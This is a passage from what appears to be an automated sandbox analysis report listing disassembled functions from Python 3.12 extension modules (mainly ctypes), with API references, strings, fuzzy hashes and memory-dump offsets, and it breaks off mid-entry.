Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Dealloc
String ID:
API String ID: 3617616757-0
Opcode ID: fb24afff9d3def66073a5020454c5bab4f6be2eb9de957776b6d33f2e462e358
Instruction ID: b3d82912f8a3d00cd9bf35d2c2c8137d678e1a42aaec7bd2ebc59d9d3c987a8b
Opcode Fuzzy Hash: fb24afff9d3def66073a5020454c5bab4f6be2eb9de957776b6d33f2e462e358
Instruction Fuzzy Hash: 6621B532D09E02C9FB654F76980437C22A4AB61B29F1452FDD66EB9DA1CF3DA4C58318

Function 00007FFE13211070 Relevance: 7.6, APIs: 5, Instructions: 53COMMON

Download Yara Rule

APIs

PyModule_GetState.PYTHON312 ref: 00007FFE13211086
_Py_Dealloc.PYTHON312 ref: 00007FFE13212196

Memory Dump Source

Source File: 00000001.00000002.2090152512.00007FFE13211000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FFE13210000, based on PE: true

Associated: 00000001.00000002.2090134264.00007FFE13210000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2090170248.00007FFE13213000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2090189636.00007FFE13215000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2090208895.00007FFE13216000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13210000_file.jbxd

Similarity

API ID: DeallocModule_State
String ID:
API String ID: 1903735390-0
Opcode ID: 2ce0c8c7188e7a3beb229335f2cd0a6251314470689c624f0e1d13b771884af1
Instruction ID: 13d9a227aa838c1b7d86789d5a66c289a0ccb6a4634404c668a5ae269e7a48d1
Opcode Fuzzy Hash: 2ce0c8c7188e7a3beb229335f2cd0a6251314470689c624f0e1d13b771884af1
Instruction Fuzzy Hash: 0B21EF31D09E828DFB55AF739A443782394ABA5F29F2440B0CA0E511A3CF7DA445C711

Function 00007FFE1025314C Relevance: 7.6, APIs: 5, Instructions: 51COMMON

Download Yara Rule

APIs

PyModule_GetState.PYTHON312 ref: 00007FFE1025315A
_Py_Dealloc.PYTHON312 ref: 00007FFE102531CF
_Py_Dealloc.PYTHON312 ref: 00007FFE102531D7
_Py_Dealloc.PYTHON312 ref: 00007FFE1025629E

Memory Dump Source

Source File: 00000001.00000002.2089791994.00007FFE10241000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FFE10240000, based on PE: true

Associated: 00000001.00000002.2089773823.00007FFE10240000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089815185.00007FFE10258000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089815185.00007FFE1025C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089856736.00007FFE10264000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089876376.00007FFE10265000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe10240000_file.jbxd

Similarity

API ID: Dealloc$Module_State
String ID:
API String ID: 3434497292-0
Opcode ID: db67306de73857620c4aba995a460db50807d40a919903c7b44c58eb7544d94b
Instruction ID: 30438c2573e30b325f5e7c9c8d801de39a206af2362b11fcaf7f65c952c39728
Opcode Fuzzy Hash: db67306de73857620c4aba995a460db50807d40a919903c7b44c58eb7544d94b
Instruction Fuzzy Hash: 3221F1B691AD06C5FB594F7784183B82AA0AFC4B25F14D470C70D853A2EFBD9445C319

Function 00007FFE11EA9F74 Relevance: 7.5, APIs: 5, Instructions: 40COMMON

Download Yara Rule

APIs

PyModule_GetState.PYTHON312 ref: 00007FFE11EA9F86
PyType_FromModuleAndSpec.PYTHON312 ref: 00007FFE11EA9F9C
PyModule_AddType.PYTHON312 ref: 00007FFE11EA9FB2
PyType_FromModuleAndSpec.PYTHON312 ref: 00007FFE11EA9FC9
PyModule_AddType.PYTHON312 ref: 00007FFE11EA9FDE

Memory Dump Source

Source File: 00000001.00000002.2089915841.00007FFE11EA1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFE11EA0000, based on PE: true

Associated: 00000001.00000002.2089896834.00007FFE11EA0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000001.00000002.2089938398.00007FFE11EAE000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000001.00000002.2089958025.00007FFE11EB2000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000001.00000002.2089976007.00007FFE11EB3000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe11ea0000_file.jbxd

Similarity

API ID: Module_$FromModuleSpecTypeType_$State
String ID:
API String ID: 1138651315-0
Opcode ID: 385c81540caf7594d2d79f420c7c64eb9f9f90bd2783a20cd1ed782b2f8c24c0
Instruction ID: 6f7a12c96b55fa368c38f957864a1593e4e4f33e9f725ff0f2c782954e06e32e
Opcode Fuzzy Hash: 385c81540caf7594d2d79f420c7c64eb9f9f90bd2783a20cd1ed782b2f8c24c0
Instruction Fuzzy Hash: 31012D29B19F6281EB108BA7B99463B73D8AF08BE0B445474EA5D46774EF2CE0848600

Function 00007FFE1338E9E8 Relevance: 7.5, APIs: 5, Instructions: 39COMMON

Download Yara Rule

APIs

PyDict_GetItemWithError.PYTHON312 ref: 00007FFE1338EA00
PyObject_CallOneArg.PYTHON312 ref: 00007FFE1338EA11
PyErr_Occurred.PYTHON312 ref: 00007FFE1338EA19
PyObject_CallOneArg.PYTHON312 ref: 00007FFE1338EA3D
_Py_Dealloc.PYTHON312 ref: 00007FFE1338EA54

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: CallObject_$DeallocDict_Err_ErrorItemOccurredWith
String ID:
API String ID: 4058657591-0
Opcode ID: 828b97b19a9e347e72ebbbb6a03b2d9bd026b3f3aa5c64e109867754b12d79e5
Instruction ID: 92e16069e7b9ad9ac2bc80c0578efd74f6267c914af06f3a9643d63630073fda
Opcode Fuzzy Hash: 828b97b19a9e347e72ebbbb6a03b2d9bd026b3f3aa5c64e109867754b12d79e5
Instruction Fuzzy Hash: B8015E21F09E02C9EE045B67E90417962A2BF24FE0F0851F8D93E27BB5DE3CE4808318

Function 00007FFE11EA2358 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 175COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FFE11EAB3D3

Strings

block %d: crc = 0x%08x, combined CRC = 0x%08x, size = %d, xrefs: 00007FFE11EAB3DE
final combined CRC = 0x%08x , xrefs: 00007FFE11EAB40F

Memory Dump Source

Source File: 00000001.00000002.2089915841.00007FFE11EA1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFE11EA0000, based on PE: true

Associated: 00000001.00000002.2089896834.00007FFE11EA0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000001.00000002.2089938398.00007FFE11EAE000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000001.00000002.2089958025.00007FFE11EB2000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000001.00000002.2089976007.00007FFE11EB3000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe11ea0000_file.jbxd

Similarity

API ID: __acrt_iob_func
String ID: block %d: crc = 0x%08x, combined CRC = 0x%08x, size = %d$ final combined CRC = 0x%08x
API String ID: 711238415-3357347091
Opcode ID: bae728a6bf01b28945588ec33f57403ca6373a91784663bbbb4fd72b5314d822
Instruction ID: b6008428bb5ed26994e98ff0b8c93a0f0b8d724ccfcb43de70baa0b692da68c6
Opcode Fuzzy Hash: bae728a6bf01b28945588ec33f57403ca6373a91784663bbbb4fd72b5314d822
Instruction Fuzzy Hash: D6610931B2D61286E720DF6BB8002BB7758EB85F94F1450B5DE0A07766CF7DE4068780

Function 00007FFE13384404 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

PyObject_IsInstance.PYTHON312 ref: 00007FFE1338443E
PyErr_SetString.PYTHON312 ref: 00007FFE133892C8
PyObject_IsSubclass.PYTHON312 ref: 00007FFE13389310

Strings

abstract class, xrefs: 00007FFE133892BE

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Object_$Err_InstanceStringSubclass
String ID: abstract class
API String ID: 1122563627-1623945838
Opcode ID: 0c6843ffb751d664bb22929ee7c5071dafb0882d9ddc552b0b81e5936a100216
Instruction ID: 346146e6ad77f52ad1a5df6dd4d620d0383c823a648018bbb2e8dc7434eac58d
Opcode Fuzzy Hash: 0c6843ffb751d664bb22929ee7c5071dafb0882d9ddc552b0b81e5936a100216
Instruction Fuzzy Hash: 7A212461E0CE078DEA549F27E85017D23A1AF65BA4B5452F4D93EA7FB5DE2CE4808308

Function 00007FFE1338B19C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON312 ref: 00007FFE1338B1DF
_Py_Dealloc.PYTHON312 ref: 00007FFE1338B268
memcpy.VCRUNTIME140 ref: 00007FFE1338B27E

Strings

abstract class, xrefs: 00007FFE1338B1D5

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: DeallocErr_Stringmemcpy
String ID: abstract class
API String ID: 4155950771-1623945838
Opcode ID: e8a46cd5a33a8805b0147fc4e6a57a06e2ab1a3c777b5c307a54baa1c496fac1
Instruction ID: d01806cf584b8c41c868ccab95b2af424869bf97003b95dd5b9aae8651cdfe0f
Opcode Fuzzy Hash: e8a46cd5a33a8805b0147fc4e6a57a06e2ab1a3c777b5c307a54baa1c496fac1
Instruction Fuzzy Hash: 8A213072A15F0289EB588F27E44026D73A4FB58FA4F1442B5DE6E67B64DF38E490C348

Function 00007FFE13384154 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFE13383B10: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FFE13383B5B

PyUnicode_FromStringAndSize.PYTHON312 ref: 00007FFE133841B8

Strings

:%x, xrefs: 00007FFE13388FF1
ctypes object structure too deep, xrefs: 00007FFE1338900F

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: FromSizeStringUnicode___stdio_common_vsprintf
String ID: :%x$ctypes object structure too deep
API String ID: 1484205955-3091822184
Opcode ID: 4e29cb55137759d61f518f63074c9638f68434857cf77851f22c48bd93749902
Instruction ID: 7fb109a411f13164f8850436eeafa6297bb8067f8a1fd112c6dd7f13a10c8db1
Opcode Fuzzy Hash: 4e29cb55137759d61f518f63074c9638f68434857cf77851f22c48bd93749902
Instruction Fuzzy Hash: 83218432B18E86C9EA208B16F4502AE63A1FB587A4F8442B5CA9E67B34DF3CD145C704

Function 00007FFE13383FBC Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

PyBytes_AsString.PYTHON312 ref: 00007FFE13383FED
PyLong_AsUnsignedLongLongMask.PYTHON312 ref: 00007FFE1338401A

Strings

bytes or integer address expected instead of %s instance, xrefs: 00007FFE13388F67

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Long$Bytes_Long_MaskStringUnsigned
String ID: bytes or integer address expected instead of %s instance
API String ID: 3464282214-706233300
Opcode ID: bf01428e4341a07223200f42696c43912e4461aa440ffb7f6440e3cb1641c07b
Instruction ID: a8a35a8c91ff087665a8bb071d5cfb78c28e6f24620f3c08fbcd8d6354fd0a96
Opcode Fuzzy Hash: bf01428e4341a07223200f42696c43912e4461aa440ffb7f6440e3cb1641c07b
Instruction Fuzzy Hash: 9F112475918E47CAE7509F1BE44123C2371FB28BA0F1442B5DA6E67774DE3CE4908304

Function 00007FFE11EC69B8 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

_PyArg_CheckPositional.PYTHON312 ref: 00007FFE11EC69F6
_PyLong_AsInt.PYTHON312 ref: 00007FFE11EC6A09
PyErr_Occurred.PYTHON312 ref: 00007FFE11EC6A16

Strings

read, xrefs: 00007FFE11EC69EF

Memory Dump Source

Source File: 00000001.00000002.2090014963.00007FFE11EC1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFE11EC0000, based on PE: true

Associated: 00000001.00000002.2089995664.00007FFE11EC0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090035870.00007FFE11ECD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090060351.00007FFE11EE0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090079121.00007FFE11EE1000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090097048.00007FFE11EE7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090115365.00007FFE11EE9000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe11ec0000_file.jbxd

Similarity

API ID: Arg_CheckErr_Long_OccurredPositional
String ID: read
API String ID: 3612027452-2555855207
Opcode ID: b84fa4829e297b57719e082b6075238d6956949f73cf1ef04841bfa82c3bc265
Instruction ID: 22d2032855e77477f6288e3fba8a748c02fe1e63afa2be3961d40a073d0621fd
Opcode Fuzzy Hash: b84fa4829e297b57719e082b6075238d6956949f73cf1ef04841bfa82c3bc265
Instruction Fuzzy Hash: E201C431B14E5185EB549FABAC4066B67A8FB88FA0B885171DE1D877B4CE3DF841C700

Function 00007FFE1338B104 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 39COMMON

Download Yara Rule

APIs

PySys_Audit.PYTHON312 ref: 00007FFE1338B12A
PyErr_SetString.PYTHON312 ref: 00007FFE1338B155

Strings

abstract class, xrefs: 00007FFE1338B14B
ctypes.cdata, xrefs: 00007FFE1338B11C

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: AuditErr_StringSys_
String ID: abstract class$ctypes.cdata
API String ID: 1384585920-3531133667
Opcode ID: 5ca1b4e45e9210c97909744ea600d4559afbce37755d34d10a205df01a286e23
Instruction ID: 0fcfef50e22e7b2eb5e153d9de95f7ccf4b08efaeeea04a8e783fd363ce93102
Opcode Fuzzy Hash: 5ca1b4e45e9210c97909744ea600d4559afbce37755d34d10a205df01a286e23
Instruction Fuzzy Hash: 5B013961B09F42C5EB188B13E89017967A5FB98BE0F0481B5DA6EABB24DF3CD045C304

Function 00007FFE13382FA0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON312 ref: 00007FFE13388099
_Py_Dealloc.PYTHON312 ref: 00007FFE133880BC

Strings

_type_ must have storage info, xrefs: 00007FFE13388088
_type_ must be a type, xrefs: 00007FFE13382FEB

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: DeallocErr_String
String ID: _type_ must be a type$_type_ must have storage info
API String ID: 1259552197-214983684
Opcode ID: 938371066dc957efba03e05ca69592ce7b93153dc5fa3a95170112ffe75a6c3d
Instruction ID: 75a29e5152b08d68782cbfc1cf25cab5e792d86909422f004ef0551b2865d202
Opcode Fuzzy Hash: 938371066dc957efba03e05ca69592ce7b93153dc5fa3a95170112ffe75a6c3d
Instruction Fuzzy Hash: 4C0121B5E09E02CDEE558B16D84027C22A1AF657B0F5447F5D53EBA6B0DF2CA4C4C305

Function 00007FFE1338E97C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

PyLong_FromLong.PYTHON312 ref: 00007FFE1338E950
_Py_Dealloc.PYTHON312 ref: 00007FFE1338E967
PySys_Audit.PYTHON312 ref: 00007FFE1338E989

Strings

ctypes.get_last_error, xrefs: 00007FFE1338E982

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: AuditDeallocFromLongLong_Sys_
String ID: ctypes.get_last_error
API String ID: 2276389247-1232113872
Opcode ID: cddaeaab58be12599473eb71a852654e06800fb4e27888910529a6fbc8dcefd2
Instruction ID: bf35d6591d43652ff8011dc8a7f9765143ddd7f55ec9769047775d3f8d1c2019
Opcode Fuzzy Hash: cddaeaab58be12599473eb71a852654e06800fb4e27888910529a6fbc8dcefd2
Instruction Fuzzy Hash: 1F01F721F09A82C5EB449B23E84013D62A1AFA4BF0F4401B4D9AF62BB4DF2CE5C28704

Function 00007FFE1338E8F8 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

PySys_Audit.PYTHON312 ref: 00007FFE1338E905
PyLong_FromLong.PYTHON312 ref: 00007FFE1338E950
_Py_Dealloc.PYTHON312 ref: 00007FFE1338E967

Strings

ctypes.get_errno, xrefs: 00007FFE1338E8FE

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: AuditDeallocFromLongLong_Sys_
String ID: ctypes.get_errno
API String ID: 2276389247-2892954555
Opcode ID: f44560d12b4cd918aaf9143ee4243f9b0dd883c440a68492f0996bd73343608d
Instruction ID: b9d4f349c334ab2d2a7f4f7227f8bf5f2636559572d1e1ab505cae66c1033359
Opcode Fuzzy Hash: f44560d12b4cd918aaf9143ee4243f9b0dd883c440a68492f0996bd73343608d
Instruction Fuzzy Hash: 0F01A721F19E82C5EB549F23E95013962A1AFA47A0F4441B5D9AF52BB4DF3CE5C2C704

Function 00007FFE13385208 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35COMMON

Download Yara Rule

APIs

PyUnicode_AsUTF8.PYTHON312 ref: 00007FFE1338523D
PyLong_AsUnsignedLongMask.PYTHON312 ref: 00007FFE133898D8
PyErr_SetString.PYTHON312 ref: 00007FFE1338990D

Strings

function name must be string, bytes object or integer, xrefs: 00007FFE13389903

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Err_LongLong_MaskStringUnicode_Unsigned
String ID: function name must be string, bytes object or integer
API String ID: 2115587880-3177123413
Opcode ID: f42257c057f16352583170caafb8c31d443689e6dbf33b6936b6b1ca2d07f167
Instruction ID: 1c09fc34ce7eef0f012b3a76cb9c88e2ca7033a89467727c9ed97b95997d98a9
Opcode Fuzzy Hash: f42257c057f16352583170caafb8c31d443689e6dbf33b6936b6b1ca2d07f167
Instruction Fuzzy Hash: 82018621F19E03C9FB154F27D89417C2362AF68B71F4485F4C56EA6AB4DE3DA0858308

Function 00007FFE1338BAE0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35COMMON

Download Yara Rule

APIs

PyCallable_Check.PYTHON312 ref: 00007FFE1338BAF8
PyErr_SetString.PYTHON312 ref: 00007FFE1338BB13
_Py_Dealloc.PYTHON312 ref: 00007FFE1338BB45

Strings

the errcheck attribute must be callable, xrefs: 00007FFE1338BB09

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Callable_CheckDeallocErr_String
String ID: the errcheck attribute must be callable
API String ID: 3907376375-3049503998
Opcode ID: 1c5f165274540fa4aa3d4ff21e0f9db6768019369555d6291af0eba2387f0e6b
Instruction ID: 6d32f8179eb51ed62f05eda7c59fe03e027b6b5eaebe48a734816f5b94868a77
Opcode Fuzzy Hash: 1c5f165274540fa4aa3d4ff21e0f9db6768019369555d6291af0eba2387f0e6b
Instruction Fuzzy Hash: 8F012971A04D43C9EB598F3BD59423873A1BF68BB4F1492B0C67D96978DE2CD5908304

Function 00007FFE1338E578 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 33COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON312 ref: 00007FFE1338E5A7
PySys_Audit.PYTHON312 ref: 00007FFE1338E5C9

Part of subcall function 00007FFE13382AD0: memset.VCRUNTIME140 ref: 00007FFE13382B77
Part of subcall function 00007FFE13382AD0: PyObject_CallOneArg.PYTHON312 ref: 00007FFE13382BD2

Strings

ctypes.call_function, xrefs: 00007FFE1338E5C2
O&O!, xrefs: 00007FFE1338E59C

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Arg_AuditCallObject_ParseSys_Tuplememset
String ID: O&O!$ctypes.call_function
API String ID: 886791329-313584727
Opcode ID: c508c8ba6ccf256cf639bec7e776667ec369153ee355bdf50a4e5a796d6018d2
Instruction ID: 7fd9b733c8aeab8907107c23ba9db75f442505c84b47eee2b948d4c9df3c854f
Opcode Fuzzy Hash: c508c8ba6ccf256cf639bec7e776667ec369153ee355bdf50a4e5a796d6018d2
Instruction Fuzzy Hash: E2018072A18F47C9EB10CF12E4487AA23A1FB687A4F4001B6D95E67A74CF3CE185C708

Function 00007FFE1338E60C Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 33COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON312 ref: 00007FFE1338E63B
PySys_Audit.PYTHON312 ref: 00007FFE1338E65D

